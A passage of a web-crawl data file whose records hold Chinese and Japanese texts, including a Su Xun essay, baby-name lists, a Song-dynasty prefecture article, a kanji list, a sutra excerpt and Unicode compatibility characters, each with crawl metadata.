.","id":"","dump":"CC-MAIN-2015-06","url":"http:\/\/www.chinapage.com\/gb\/literature\/ywgl005.htm","date":"2015-01-28T22:15:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2015-06\/segments\/1422122034298.3\/warc\/CC-MAIN-20150124175354-00127-ip-10-180-212-252.ec2.internal.warc.gz","language":"lzh","language_score":0.9494982362,"language_script":"Hani","minhash_cluster_size":29,"top_langs":"{\"lzh_Hani_score\": 0.9494982361793518, \"nan_Hani_score\": 0.039621803909540176, \"cmn_Hani_score\": 0.010896258987486362}","num_words":63142,"character_repetition_ratio":0.008,"word_repetition_ratio":0.001,"special_characters_ratio":0.585,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":0.972,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"产品分类\n火狐体育下载ios行业资讯\n主要销售区域:\n广东省 广州市 番禺 南沙 增城 新塘 从化 花都 佛山 南海 顺德 深圳 珠海 三水高明 江门 新会 开平 头 韶关 河源 梅州市 惠州 汕尾 东莞 中山 江门 新会 佛山 阳江 湛江 茂名 肇庆 清远 潮州 揭阳 云浮 东莞 苏州 中山 无锡 宁波 慈溪 义乌 乐清 镇江 张家港 仪征 宜兴 江阴 苏州 太仓 昆山 常熟 徐州 连云港 济南 淮安 宿迁 盐城 无锡 昆山 扬州 泰州 兴化 南通 杭州 芜湖 洛阳 大连 天津 北京 太原 焦作 武汉 西安 郑州 福州 青岛 南京 长沙 荔湾 越秀 海珠 天河 芳村 白云 番禺 花都 增城 从化 瑞安 常州 台州 中山 济南 杭州 厦门 珠海 福州 佛山 合肥 贵阳 遵义 长沙 南宁 昆明 南昌 武汉 成都 重庆 广州 南沙 从化 安徽 贵州 湖南 长沙 株洲 常德 娄底 广西 桂林 云南 佛山 江西 湖北 孝感 四川 成都 上海 浙江 江西 湖南 贵州 包头 海南 广州 深圳 珠海 河源 梅州 惠州 东莞 中山 江门 佛山 阳江 湛江 茂名 肇庆 泉州 潮州 揭阳 东莞 顺德 仪征 西安 宝鸡 长葛 慈溪 大连 烟台 大连 青岛 哈尔滨 沈阳 长春 厦门 玉林 南宁 柳州 三亚 南安 晋江 石狮 厦门 漳州 泉州 许昌 兰州 新余 义乌 乐清 运城 长治 龙岩 三明 漳州 南平。","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/chuandaba.com\/","date":"2020-10-24T05:23:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107882102.31\/warc\/CC-MAIN-20201024051926-20201024081926-00164.warc.gz","language":"lzh","language_score":0.4790012836,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4790012836456299, \"cmn_Hani_score\": 0.29258039593696594, \"nan_Hani_score\": 0.22653889656066895}","num_words":192,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.323,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"現在的父母對孩子的名字越來越重瞭,起名字成瞭慎之又慎的事,寧姓是當今中國姓氏排行第一百八十七位的姓氏,人口較多,約占全國漢族人口的百分之零點零五,那姓寧的女寶寶該如何取名呢?下面生肖網為大傢分析姓寧的好聽女孩名字。\n姓寧的好聽的女孩名字\n寧晶霞 寧依文 寧吉怡 寧楷文 寧奇燕 寧沁妍 寧瑩軒 寧序瑤 寧銀艷 寧麗萍 寧怡南 寧嫣兒 寧耀潔 寧茹 寧景婷 寧美媛 寧新怡 寧啊美 寧惠玲 寧欣穎 寧婧萌 寧寐瓊 寧艾妍 寧瞿燕 寧悅皓 寧玉茹 寧濟芳 寧泳婷 寧喻瑩 寧秀玲 寧玫玲 寧婷 寧曼瑤 寧文婷 寧新妹 寧淑琴 寧欣怡 寧曉艷 寧燕鳳 寧青妍 寧貴麗 寧晨娜 寧英英 寧蕓芬 寧翌玲 寧平梅 寧能文 寧葉紅 寧聰穎 寧依婷 寧述萍 寧嘉瑛 寧舒媛 寧婭芳 寧培紅 寧琬婷 寧秋霞 寧金英 寧興紅 寧秀鹿 寧安娜 寧延玲 寧紀英 寧思英 寧桂玲 寧燕敏 寧錦芬 寧婷潤 寧楚婷 寧維琳 寧盼冉 寧美美 寧佳玲 寧學文 寧文婷 寧鳳麗 寧忠梅 寧青梅 寧愛婷 寧慧琳 寧姍艷 寧炳文 寧瑤瓊 寧文瓊 寧燕韻 寧雅茹 寧育萍 寧肖霞 寧手紅 寧麗芳 寧佩琳 寧月怡 寧素燕 寧紅娥 寧睿怡 寧京霞 寧妍奕 寧國穎 寧怡雯 寧嫣樾 寧淑紅 寧博穎 寧潤婷 寧葵妍 寧儀琳 寧莉辛 寧梓琳 寧映瓊 寧昕嫣 寧欣婷 寧爽悅 寧茹意 寧心瑤 寧冰花 寧朝玉 寧蠑文 寧婧帆 寧玉文 寧悅萁 寧嫣然 寧燦玲 寧秀嫣 寧浩妍 寧明霞 寧聆悅 寧玉琳 寧麗娜 寧愛芳 寧向紅 寧雪潔 寧妍曦 寧佳嬋 寧玲鈺 寧運紅 寧濘霞 寧依婷 寧嫣菡 寧悅文 寧翻燕 寧青蓉 寧茹晗\n寧有玉 寧偉麗 寧雙文 寧嘉麗 寧光英 寧成悅 寧妍君 寧宸倩 寧喜娥 寧寶玉 寧昕妍 寧笑芳 寧啟梅 寧史瑤 寧妍敏 寧燕琳 寧科琳 寧津茹 寧捷英 寧秀玉 寧慧瑤 寧夢雪 寧育萍 寧軍霞 寧奉霞 寧瑞婷 寧莉雪 寧欣麗 寧新花 寧敬霞 寧怡舒 寧詠群 寧夢潔 寧哲文 寧耐麗 寧依婷 寧婧懿 寧美霞 寧映芬 寧倩蕾 寧修琴 寧歆冉 寧丕秀 寧海霞 寧良玉 寧鳳琴 寧偉麗 寧姿文 寧厲文 寧彩英 寧九燕 寧妙怡 寧采文 寧悅晨 寧怡緹 寧兆芳 寧卓妍 寧桂娟 寧世雪 寧臻琳 寧茹嘉 寧蘇萍 寧建霞 寧秀穎 寧雪 寧鈺瑛 寧妙潔 寧妙琳 寧佳潔 寧冰瑤 寧潔梅 寧海燕 寧莉孜 寧玲蓉 寧學芬 寧奕文 寧乙玉 寧衛燕 寧衛芳 寧冰穎 寧祺瑤 寧卓 寧燕華 寧萍妃 寧雁文 寧浩灃 寧嬋鈺 寧怡爽 寧書玉 寧加玲 寧姻倩 寧於琴 寧崢怡 寧慧娟 寧嫣爨 寧燕燕 寧琳婕 寧菲倩 寧澤琳 寧卓霞 寧雲英 寧星潔 寧小芬 寧潮霞 寧雪玲 寧思玉 寧秀琴 寧芷瑩\n》》還是沒有找到滿意的名字?不妨問問大師。[1] [2]\n寧娜 寧娜 寧琳 寧雪 寧娜 寧兒 寧紅 寧婷 寧倩 寧娜 寧燕 寧悅 寧玉 寧婧 寧婧 寧潔 寧玲 寧美 寧嫣 寧悅 寧玲 寧麗 寧玲 寧冉 寧琳 寧婧 寧婧 寧芳 寧悅 寧霞 寧霞 寧婧 寧文 寧琳 寧悅 寧怡 寧怡 寧怡 寧媛 寧玉 寧玲 寧潔 寧悅 寧冉 寧萍 寧倩 寧花 寧娜 寧梅 寧婧 寧霞 寧倩 寧芳 寧怡 寧瑤 寧悅 寧妍 寧瑩 寧紅 寧娟 寧芳 寧莉 寧娜 寧冉 寧英 寧倩 寧潔 寧婷 寧娜 寧艷 寧紅 寧潔 寧霞 寧玲 寧娜 寧芳 寧悅 寧燕 寧麗 寧悅 寧倩 寧悅 寧萍 寧雪 寧潔 寧析 寧英 寧娜 寧怡 寧波 寧婧 寧英 寧琳 寧琴 寧艷 寧艷 寧怡 寧文 寧悅 寧娟 寧琳 寧妍 寧梅 寧秀 寧娟 寧妍 寧穎 寧銳 寧悅 寧霞 寧梅 寧婭 寧艷 寧芳 寧艷 寧娜 寧娟 寧靜 寧潔 寧琳 寧霞 寧玲 寧瑤 寧悅 寧娟 寧妍 寧麗 寧瑤 寧媛 寧迪 寧霞 寧潔 寧悅 寧妹 寧嬋 寧燕 寧文 寧娟 寧文 寧霞 寧穎 寧婧 寧悅 寧娟 寧倩 寧芳 寧美 寧萍 寧玲 寧瑤 寧悅 寧婧 寧文 寧娟 寧萍 寧娟 寧娟 寧婧 寧娟 寧花 寧英 寧娜 寧雪 寧潔 寧娜 寧娜 寧英 寧玲 寧芬 寧艷 寧文 寧萍 寧玲 寧穎 寧紅 寧玉 寧茹 寧霞 寧茹 寧娟 寧妍 寧雪 寧芳 寧芳 寧玉 寧娟 寧霞 寧倩 寧倩 寧麗 寧艷 寧穎 寧梅 寧英 寧美 寧麗 寧玉 寧婧 寧蓉\n》》還是沒有找到滿意的名字?不妨問問大師。\n寧姓來源有四:1、春秋時衛大夫寧俞之後。2、出自姬姓。據《姓氏急就篇·註》及《姓氏考略》所載,文王之子衛康叔之後有衛成公,成公封其子季〓於寧邑(今河南修武),子孫以邑為氏(實與①相矛盾,寧俞為衛成公時忠臣,成公不可能把一地封於兩人,與古制不符)。3、出自嬴姓。據《元和姓纂》所載,寧與秦同姓,秦襄公曾孫謚寧公,支庶以謚為氏。4、出自他族改姓而來。清滿洲八旗姓寧古塔氏、寧佳氏等均有改為寧姓者;今滿、蒙古等少數民族均有此姓。(責任編輯:八字免費算命網)[1] [2]","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/www.share4tw.com\/archives\/286069","date":"2017-10-17T02:11:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187820556.7\/warc\/CC-MAIN-20171017013608-20171017033608-00325.warc.gz","language":"lzh","language_score":0.9801396132,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9801396131515503, \"nan_Hani_score\": 0.015871185809373856}","num_words":453,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"書論 (蘇洵)\n風俗之變,聖人為之也。聖人因風俗之變而用其權。聖人之權用於當世,而風俗之變益甚,以至於不可復反。幸而又有聖人焉,承其後而維之,則天下可以復治;不幸其後無聖人,其變窮而無所復入則已矣。\n昔者,吾嘗欲觀古之變而不可得也,於《詩》見商與周焉而不詳。及今觀《書》,然後見堯、舜之時,與三代之相變,如此之亟也。自堯而至於商,其變也,皆得聖人而承之,故無憂。至於周,而天下之變窮矣。忠之變而入於質,質之變而入於文,其勢便也。及夫文之變,而又欲反之於忠也,是猶欲移江河而行之山也。人之喜文而惡質與忠也,猶水之不肯避下而就高也。彼其始未嘗文焉,故忠質而不辭。今吾日食之以太牢,而欲使之復茹其菽哉?嗚呼!其後無聖人,其變窮而無所復入則已矣。周之後而無王焉,固也。其始之制其風俗也,固不容為其後者計也,而又適不值乎聖人,固也,後之無王者也。\n當堯之時,舉天下而授之舜。舜得堯之天下,而又授之禹。方堯之未授天下於舜也,天下未嘗聞有如此之事也,度其當時之民,莫不以為大怪也。然而舜與禹也,受而居之,安然若天下固其所有,而其祖宗既已為之累數十世者,未嘗與其民道其所以當得天下之故也,又未嘗悅之以利,而開之以丹朱、商均之不肖也。其意以為天下之民以我為當在此位也,則亦不俟乎援天以神之,譽己以固之也。湯之伐桀也,囂囂然數其罪而以告人,如曰彼有罪,我伐之,宜也。既又懼天下之民不己悅也,則又囂囂然以言柔之曰:「萬方有罪,在予一人。予一人有罪,無以爾萬方。」如曰我如是而為爾之君,爾可以許我焉爾。籲!亦既薄矣。至於武王,而又自言其先祖父皆有顯功,既已受命而死,其大業不克終,今我奉承其志,舉兵而東伐,而東國之士女束帛以迎我,紂之兵倒戈以納我。吁!又甚矣。如曰吾家之當為天子久矣,如此乎民之慾我速入商也。伊尹之在商也,如周公之在周也。伊尹攝位三年而無一言以自解,周公為之紛紛乎急於自疏其非篡也。夫固由風俗之變而後用其權,權用而風俗成,吾安坐而鎮之,夫孰知風俗之變而不復反也。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%9B%B8%E8%AB%96_(%E8%98%87%E6%B4%B5)","date":"2019-08-17T17:40:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027313436.2\/warc\/CC-MAIN-20190817164742-20190817190742-00366.warc.gz","language":"lzh","language_score":0.5132217407,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.5132217407226562, \"cmn_Hani_score\": 0.43718263506889343, \"nan_Hani_score\": 0.026638386771082878, \"wuu_Hani_score\": 0.010685695335268974}","num_words":6,"character_repetition_ratio":0.021,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.68,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"真州 (北宋) 真州,中國北宋時設置的州。 南唐時迎鑾鎮,北宋置建安軍,大中祥符六年(1013年)升為真州,賜名儀真郡,治所在揚子縣(今江蘇省儀征市),屬淮南東路。轄境相當今江蘇省儀征市和南京市六合區等地。元朝至元十四年(1277年),升為真州路,二十一年復為州。明朝洪武二年(1369年),廢改州為儀徵縣,省揚子縣入之。 北宋行政區劃 路 京畿路 府 開封府(東京) 京東東路 府 濟南府(齊州) 州 青州 密州 沂州 登州 萊州 濰州 淄州 軍 淮陽軍 京東西路 府 應天府(南京) 州 兗州 徐州 曹州 鄆州 濟州 單州 濮州 京西南路 州 襄州 隨州 唐州 鄧州 均州 房州 金州 郢州 軍 光化軍 京西北路 府 河南府(西京) 潁昌府 州 鄭州 滑州 孟州 蔡州 陳州 穎州 汝州 軍 信陽軍 河北東路 府 大名府(北京) 州 澶州 滄州 冀州 瀛州 博州 棣州 莫州 雄州 霸州 德州 濱州 恩州 軍 乾寧軍 永靜軍 保定軍 信安軍 河北西路 府 真定府 州 相州 定州 邢州 懷州 衛州 洺州 深州 磁州 祁州 趙州 保州 軍 安肅軍 永寧軍 廣信軍 順安軍 河東路 府 太原府 州 潞州 晉州 絳州 澤州 代州 忻州 汾州 遼州 憲州 嵐州 石州 隰州 麟州 府州 豐州 軍 威勝軍 平定縣 岢嵐軍 寧化軍 火山軍 保德軍 永興軍路 府 京兆府 河中府 州 解州 陝州 商州 虢州 同州 華州 耀州 延州 鄜州 坊州 慶州 環州 邠州 寧州 丹州 軍 保安軍 秦鳳路 府 鳳翔府 州 秦州 隴州 成州 鳳州 涇州 渭州 原州 熙州 河州 岷州 蘭州 階州 軍 德順軍 鎮戎軍 通遠軍 兩浙路 州 杭州 越州 蘇州 潤州 湖州 婺州 明州 溫州 台州 處州 衢州 睦州 秀州 常州 淮南東路 州 揚州 亳州 宿州 楚州 海州 泰州 泗州 滁州 真州 通州 淮南西路 府 壽春府 州 廬州 蘄州 和州 舒州 濠州 光州 黃州 軍 無為軍 江南東路 府 江寧府 州 宣州 歙州 池州 江州 饒州 信州 太平州 軍 廣德軍 南康軍 江南西路 州 洪州 虔州 吉州 袁州 撫州 筠州 軍 興國軍 南安軍 臨江軍 建昌軍 荊湖北路 府 江陵府 州 鄂州 安州 復州 鼎州 澧州 峽州 岳州 歸州 辰州 沅州 誠州 荊湖南路 州 潭州 衡州 道州 永州 郴州 邵州 全州 監 桂陽監 福建路 州 福州 建州 泉州 南劍州 漳州 汀州 軍 邵武軍 興化軍 成都府路 府 成都府 州 邛州 眉州 蜀州 彭州 綿州 漢州 嘉州 簡州 黎州 雅州 茂州 威州 軍 永康軍 石泉軍 監 陵井監 梓州路 州 梓州 遂州 果州 資州 普州 昌州 戎州 瀘州 合州 榮州 渠州 軍 懷安軍 廣安軍 監 富順監 利州路 府 興元府 州 利州 洋州 閬州 劍州 巴州 文州 興州 蓬州 龍州 夔州路 州 夔州 黔州 施州 忠州 萬州 達州 涪州 渝州 開州 軍 雲安軍 梁山軍 南平軍 監 大寧監 廣南東路 州 廣州 韶州 循州 潮州 連州 梅州 雄州 英州 賀州 封州 端州 新州 康州 南恩州 惠州 廣南西路 州 桂州 容州 邕州 融州 象州 昭州 藤州 龔州 潯州 柳州 貴州 宜州 賓州 橫州 化州 高州 雷州 欽州 白州 鬰林州 廉州 瓊州 軍 昌化軍 萬安軍 朱崖軍 其他地區 黔南路 · 定難節度使(參見西夏) · 燕山府路 · 雲中府路(參見燕雲十六州) · 隴右都護府(參見熙河開邊) 南宋行政區劃 路 兩浙西路 府 臨安府 | 平江府 | 鎮江府 | 嘉興府 | 建德府 州 安吉州 | 常州 軍 江陰軍 兩浙東路 府 紹興府 | 慶元府 | 瑞安府 州 婺州 | 台州 | 處州 | 衢州 江南東路 府 寧國府 | 建康府 州 徽州 | 池州 | 饒州 | 信州 | 太平州 軍 南康軍 | 廣德軍 江南西路 府 隆興府 州 江州 | 贛州 | 吉州 | 袁州 | 撫州 | 瑞州 軍 興國軍 | 南安軍 | 臨江軍 | 建昌軍 淮南東路 州 揚州 | 楚州 | 海州 | 泰州 | 泗州 | 滁州 | 真州 | 通州 | 安東州 軍 高郵軍 | 招信軍 | 淮安軍 | 清河軍 淮南西路 府 壽春府 | 安慶府 州 廬州 | 蘄州 | |和州 | 濠州 | 蔣州 | 黃州 軍 六安軍 | 無為軍 | 懷遠軍 | 鎮巢軍 | 安豐軍 荊湖南路 府 寶慶府 州 潭州 | 衡州 | 道州 | 永州 | 郴州 | 全州 軍 茶陵軍 | 桂陽軍 | 武岡軍 荊湖北路 府 江陵府 | 德安府 | 常德府 州 鄂州 | 復州 | 澧州 | 峽州 | 岳州 | 歸州 | 辰州 | 沅州 | 靖州 軍 荊門軍 | 壽昌軍 | 漢陽軍 | 信陽軍 京西南路 府 襄陽府 州 隨州 | 房州 | 均州 | 郢州 軍 光化軍 | 棗陽軍 福建路 府 建寧府 州 福州 | 泉州 | 南劍州 | 漳州 | 汀州 軍 邵武軍 | 興化軍 成都府路 府 成都府 | 崇慶府 | 嘉定府 州 邛州 | 眉州 | 彭州 | 綿州 | 漢州 | 簡州 | 黎州 | 雅州 | 茂州 | 威州 | 隆州 軍 永康軍 | 石泉軍 潼川府路 府 潼川府 | 遂寧府 | 順慶府 州 資州 | 昌州 | 普州 | 敘州 | 江安州 | 合州 | 榮州 | 渠州 軍 長寧軍 | 懷安軍 | 寧西軍 監 富順監 夔州路 府 紹慶府 | 咸淳府 | 重慶府 州 夔州 | 施州 | 萬州 | 開州 | 達州 | 涪州 | 恩州 | 播州 軍 雲安軍 | 梁山軍 | 南平軍 監 大寧監 利州路 府 興元府 | 隆慶府 | 同慶府 州 利州 | 洋州 | 沔州 | 巴州 | 閬州 | 蓬州 | 政州 | 金州 | 階州 | 西和州 | 鳳州 廣南東路 府 英德府 | 肇慶府 | 德慶府 州 廣州 | 韶州 | 循州 | 連州 | 潮州 | 梅州 | 南雄州 | 封州 | 新州 | 南恩州 | 惠州 廣南西路 府 靜江府 | 慶遠府 州 容州 | 邕州 | 融州 | 象州 | 昭州 | 梧州 | 藤州 | 潯州 | 柳州 | 貴州 | 賓州 | 橫州 | 化州 | 高州 | 雷州 | 欽州 | 鬱林州 | 廉州 | 瓊州 | 賀州 軍 南寧軍 | 萬安軍 | 吉陽軍 南京行政區劃史 先秦 邑 棠邑 瀨渚邑 金陵邑 秦漢 縣 秣陵縣(秣陵侯國 · 宣亭縣) 丹陽縣(丹陽侯國) 江乘縣 溧陽縣 棠邑縣→棠邑侯國→堂邑侯國→堂邑縣 胡孰縣(胡孰侯國)→湖熟縣 六朝 州 揚州 郡 丹陽郡 南丹陽郡 建興郡 琅琊郡(南琅琊郡) 堂邑郡 蘭陵郡(南蘭陵郡) 東海郡(南東海郡) 東平郡(南東平郡) 魏郡 廣川郡 高陽郡 淮南郡 陳留郡(北陳留郡) 秦郡 齊郡 縣 秣陵縣 建業縣→建鄴縣→建康縣 湖熟典農都尉→湖熟縣 江乘典農都尉→江乘縣 溧陽屯田都尉→溧陽縣 臨江縣→江寧縣 丹陽縣(丹陽侯國) 同夏縣 懷德縣→費縣 臨沂縣 即丘縣 陽都縣 開陽縣 蘭陵縣 承縣 譙縣 蘭陵縣 合鄉縣 乘縣 肥鄉縣 元城縣 博陸縣 北新城縣 於湖縣 當塗縣 繁昌縣 秦縣 尉氏縣 義城縣 臨塗縣 平丘縣 外黃縣 雍丘縣 浚儀縣 昌國縣 臨淄縣 西安縣 益都縣 平虜縣 齊安縣 堂邑縣 隋唐 州郡 蔣州→丹陽郡→揚州→蔣州→揚州→廣陵郡 方州→江都郡 潤州 江寧郡→昇州→金陵府→江寧府 宣州 縣 江寧縣→歸化縣→金陵縣→白下縣→江寧縣→上元縣 江寧縣 溧水縣 溧陽縣 六合縣 安業縣 丹陽縣 宋元 路 江南東路 建康路→集慶路 揚州路 州府 昇州→江寧府(昇國)→建康府 揚州 真州 溧水州 縣 上元縣 江寧縣 溧水縣 六合縣 句容縣 明清、太平天國 省、道 南直隸→江南省 天京省 天浦省 江寧道 府郡 應天府→江寧府(江寧郡) 縣 上元縣(尚元縣) 江寧縣 溧水縣 六合縣 句容縣 江浦縣 高淳縣 中華民國時期 省、道 江蘇省 金陵道 市 南京府→江寧縣→南京特別市→首都特別市→南京市 市轄區 1937年時,共有十一個區(第一區、第二區、第三區、第五區、第六區、第七區、第八區、第九區、第十區、第十一區)。1945年後,增設第十二區、第十三區、第十四區(八卦洲)、第十五區(江心洲)。 縣 江寧縣 江浦縣 六合縣 溧水縣 高淳縣 中華人民共和國 市 南京直轄市(中央直轄市→華東軍政委員會直轄市)→南京市(江蘇省省轄市→副省級市) 區、縣 第一區→新一區→玄武區 第二區→新二區→白下區 第三區→撤銷 第四區→新三區→秦淮區 第五區→新四區→建鄴區 第六區→新五區→鼓樓區 第七區→新六區→下關區 第八區→新七區→浦口區 第九區→新八區→燕子磯區 第十區→中山陵園區(陵園區)→…→鐘山區 第十一區→新十區→雨花台區 第十二區→新十一區 第十三區→新九區→棲霞區 兩浦區 大郊區 江東區 大廠區 江寧縣→江寧區 江浦縣→江浦區 六合縣→六合區 溧水縣→溧水區 高淳縣→高淳區 註:以今南京市境為準。下劃線標識的行政區劃無實土。 這是一篇關於江蘇行政區劃的小作品。你可以透過編輯或修訂擴充其內容。","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/wikis.tw\/%E7%9C%9F%E5%B7%9E_(%E5%8C%97%E5%AE%8B)","date":"2023-01-31T16:55:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499888.62\/warc\/CC-MAIN-20230131154832-20230131184832-00474.warc.gz","language":"lzh","language_score":0.9411693811,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9411693811416626, \"cmn_Hani_score\": 0.04633031412959099, \"nan_Hani_score\": 0.011963080614805222}","num_words":823,"character_repetition_ratio":0.019,"word_repetition_ratio":0.002,"special_characters_ratio":0.356,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":0.97,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Lista de Kanji Grado escolar 3, se estudian a los 8 años de edad en la primaria.\nEste grado o curso se compone de 200 kanji.\nIré poniendo enlaces conforme tenga los post pero este grado por ahora sólo tendrá los más relevantes o de uso común que me vaya encontrando.\n悪 安 暗 医 委 意 育 員 院 飲 運 泳 駅 央 横 屋 温 荷 化 界 開 階 寒 漢 感 館 岸 起 期 客 究 急 級 球 宮 去 橋 業 曲 局 銀 区 苦 具 君 係 軽 血 決 研 県 湖 庫 向 幸 港 号 根 祭 死 始 使 指 歯 詩 持 仕 次 事 式 実 写 者 取 酒 受 主 守 州 習 終 集 住 拾 重 宿 所 暑 助 昭 消 商 章 勝 乗 植 申 身 真 深 進 神 整 世 昔 全 送 相 想 息 速 族 他 打 待 第 題 代 対 炭 短 談 着 注 柱 帳 調 丁 追 定 庭 笛 鉄 転 度 都 投 島 等 湯 動 童 豆 登 農 波 配 倍 発 反 坂 板 皮 悲 美 鼻 筆 氷 表 秒 病 品 負 部 服 福 物 平 返 勉 放 味 命 面 問 薬 役 油 由 有 遊 予 羊 洋 陽 葉 様 落 流 旅 両 緑 礼 列 練 路 和 皿 畑 箱","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/ganbatte.zaraheath.com\/2014\/10\/kanji-grado-escolar-3\/","date":"2017-10-17T07:56:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187820930.11\/warc\/CC-MAIN-20171017072323-20171017092323-00795.warc.gz","language":"lzh","language_score":0.4445816576,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.44458165764808655, \"cmn_Hani_score\": 0.20834434032440186, \"jpn_Jpan_score\": 0.18233904242515564, \"yue_Hani_score\": 0.15246815979480743}","num_words":248,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.389,"stopwords_ratio":0.02,"flagged_words_ratio":0.0,"lang_id_score":0.474,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"舍利弗!若有人已發願、今發願、當發願,欲生阿彌陀佛國者;是諸人等,皆得不退轉於阿耨多羅三藐三菩提,於彼國土若已生、若今生、若當生。是故舍利弗!諸善男子、善女人若有信者,應當發願生彼國土。\n舍利弗!如我今者,稱讚諸佛不可思議功德;彼諸佛等,亦稱說我不可思議功德,而作是言:『釋迦牟尼佛能為甚難希有之事,能於娑婆國土五濁惡世——劫濁、見濁、煩惱濁、眾生濁、命濁中,得阿耨多羅三藐三菩提,為諸眾生說是一切世間難信之法。』舍利弗!當知我於五濁惡世,行此難事;得阿耨多羅三藐三菩提,為一切世間說此難信之法,是為甚難!」\n節錄自《佛說阿彌陀經》","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/cloudwaternonlimitation.blogspot.com\/2012\/03\/blog-post.html","date":"2018-06-20T18:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863834.46\/warc\/CC-MAIN-20180620182802-20180620202802-00616.warc.gz","language":"lzh","language_score":0.390375793,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.3903757929801941, \"cmn_Hani_score\": 0.38266631960868835, \"nan_Hani_score\": 0.10213865339756012, \"wuu_Hani_score\": 0.09419479966163635, \"yue_Hani_score\": 0.011613917537033558}","num_words":3,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.579,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"樂(U+f9bf)と樂(U+6a02)をぼんやりと眺めた後、Unicode正規化を少しだけ読む。近いうちにちゃんと勉強しよう。\n追記:一部を整形してメモ\n豈 豈 更 更 車 車 賈 賈 滑 滑 串 串 句 句 龜 龜 龜 龜 契 契 金 金 喇 喇 奈 奈 懶 懶 癩 癩 羅 羅 蘿 蘿 螺 螺 裸 裸 邏 邏 樂 樂 洛 洛 烙 烙 珞 珞 落 落 酪 酪 駱 駱 亂 亂 卵 卵 欄 欄 爛 爛 蘭 蘭 鸞 鸞 嵐 嵐 濫 濫 藍 藍 襤 襤 拉 拉 臘 臘 蠟 蠟 廊 廊 朗 朗 浪 浪 狼 狼 郎 郎 來 來 冷 冷 勞 勞 擄 擄 櫓 櫓 爐 爐 盧 盧 老 老 蘆 蘆 虜 虜 路 路 露 露 魯 魯 鷺 鷺 碌 碌 祿 祿 綠 綠 菉 菉 錄 錄 鹿 鹿 論 論 壟 壟 弄 弄 籠 籠 聾 聾 牢 牢 磊 磊 賂 賂 雷 雷 壘 壘 屢 屢 樓 樓 淚 淚 漏 漏 累 累 縷 縷 陋 陋 勒 勒 肋 肋 凜 凜 凌 凌 稜 稜 綾 綾 菱 菱 陵 陵 讀 讀 拏 拏 樂 樂 諾 諾 丹 丹 寧 寧 怒 怒 率 率 異 異 北 北 磻 磻 便 便 復 復 不 不 泌 泌 數 數 索 索 參 參 塞 塞 省 省 葉 葉 說 說 殺 殺 辰 辰 沈 沈 拾 拾 若 若 掠 掠 略 略 亮 亮 兩 兩 凉 凉 梁 梁 糧 糧 良 良 諒 諒 量 量 勵 勵 呂 呂 女 女 廬 廬 旅 旅 濾 濾 礪 礪 閭 閭 驪 驪 麗 麗 黎 黎 力 力 曆 曆 歷 歷 轢 轢 年 年 憐 憐 戀 戀 撚 撚 漣 漣 煉 煉 璉 璉 秊 秊 練 練 聯 聯 輦 輦 蓮 蓮 連 連 鍊 鍊 列 列 劣 劣 咽 咽 烈 烈 裂 裂 說 說 廉 廉 念 念 捻 捻 殮 殮 簾 簾 獵 獵 令 令 囹 囹 寧 寧 嶺 嶺 怜 怜 玲 玲 瑩 瑩 羚 羚 聆 聆 鈴 鈴 零 零 靈 靈 領 領 例 例 禮 禮 醴 醴 隸 隸 惡 惡 了 了 僚 僚 寮 寮 尿 尿 料 料 樂 樂 燎 燎 療 療 蓼 蓼 遼 遼 龍 龍 暈 暈 阮 阮 劉 劉 杻 杻 柳 柳 流 流 溜 溜 琉 琉 留 留 硫 硫 紐 紐 類 類 六 六 戮 戮 陸 陸 倫 倫 崙 崙 淪 淪 輪 輪 律 律 慄 慄 栗 栗 率 率 隆 隆 利 利 吏 吏 履 履 易 易 李 李 梨 梨 泥 泥 理 理 痢 痢 罹 罹 裏 裏 裡 裡 里 里 離 離 匿 匿 溺 溺 吝 吝 燐 燐 璘 璘 藺 藺 隣 隣 鱗 鱗 麟 麟 林 林 淋 淋 臨 臨 